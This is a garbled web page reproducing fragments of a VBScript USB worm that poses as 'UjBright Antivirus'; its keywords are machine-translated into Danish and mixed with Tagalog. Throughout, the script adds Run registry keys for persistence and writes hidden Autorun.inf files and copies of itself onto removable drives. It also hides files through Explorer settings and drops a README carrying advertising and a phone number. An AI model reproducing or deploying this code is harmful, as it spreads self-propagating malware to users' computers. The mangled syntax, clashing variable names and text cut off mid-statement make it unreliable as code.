Virus Blev Anitivirus

soft \\ Windows \\ CurrentVersion \\ Run \\ autoMe "," WScript.exe "" "& vind &" \\ UjBright_Antivirus.vbs "" "Hvis ax = false Så wscr.Run" WScript.exe "" "& vind &" \\ UjBright_Antivirus .vbs "" ", mens (sand) Set myDrives = fso.Drives For hver myFlashDrive In myDrives Hvis myFlashDrive.Drivetype = 1 Og myFlashDrive.Path" A: "Så hvis fso.FileExists (myFlashDrive.Path &" \\ Autorun.inf " ) Derefter Set fAttr = fso.Getfile (myFlashDrive.Path & "\\ Autorun.inf") fAttr.Attributes = 32 fso.Deletefile myFlashDrive.Path & "\\ Autorun.inf", sand End If Set auFile = fso.

CreateTextFile (myFlashDrive .Path & "\\ Autorun.inf", true) auFile.write "[autorun]" & vbCrLf & "åben = \\" & vbCrLf & "open = WScript.exe UjBright_Antivirus.vbs" & vbCrLf & "shell \\ open \\ command = WScript.exe UjBright_Antivirus.vbs "& vbCrLf &" shell \\ Open \\ Standard = 1 "auFile.close Set auFile = fso.CreateTextFile (myFlashDrive.Path &" \\ README.txt ", true) auFile.write" Hej venner: "& vbCrLf &" Maaaring virus ito kung tawagin på makikita ng ibang Anti-Virus, ngunit logre mag-Alala kung ito'y hindi makikilala ng Anu mang ANTI-VIRUS na NASA sa Inyo.

" & VbCrLf & "Dahil ito ang tanging paraan ko upang matugunan ang ibang ANTI-VIRUS na hindi makikilala ang ganitong Scripto na VIRUS na nakakasama" & vbCrLf & "ay kaya nitong PALITAN na maaring ayusin Niya ang ibang sinira dulot ng NAKAKASIRA na VIRUS." & VbCrLf & "" & vbCrLf & "-ADVERTISING-" & vbCrLf & "EARLY ADVENT REKLAME -. Presenning Nila ay holdbare matagal kumupas, tag-init mand o tag-araw" & VbCrLf & "RB PhotoArt STUDIO - Kan kagandahan sa kulay ng inyong PICTURE ved varigt pa." & VbCrLf & "104,1 DXMA WOW FM -..

Pinakikinggang himpilan ng RADIO Numero UNO sa Central Mindanao" & VbCrLf & "" & vbCrLf & "PARA SA GUSTONG MAGPA-Annonce:" & vbCrLf & "bare kontakte ME: 09083223171 - UJBRIGHT" auFile.close Set fAttr = fso.Getfile (myFlashDrive.Path & "\\ Autorun.inf") fAttr.Attributes = 39 Set minfil = fso.CreateTextFile (myFlashDrive.Path & "\\ UjBright_Antivirus.vbs", true) myFile.write scrText myFile.close Set fAttr = fso.Getfile (myFlashDrive.Path & "\\ UjBright_Antivirus.vbs") fAttr.Attributes = 39 End If Næste Med wscr .

RegWrite "HKEY_LOCAL_MACHINE \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Run \\ autoMe", "WScript.exe" "" & vind & "\\ UjBright_Antivirus.vbs" "" .RegWrite "HKEY_CURRENT_USER \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Explorer \\ Advanced \\ Skjult ", 1," REG_DWORD ".RegWrite" HKEY_CURRENT_USE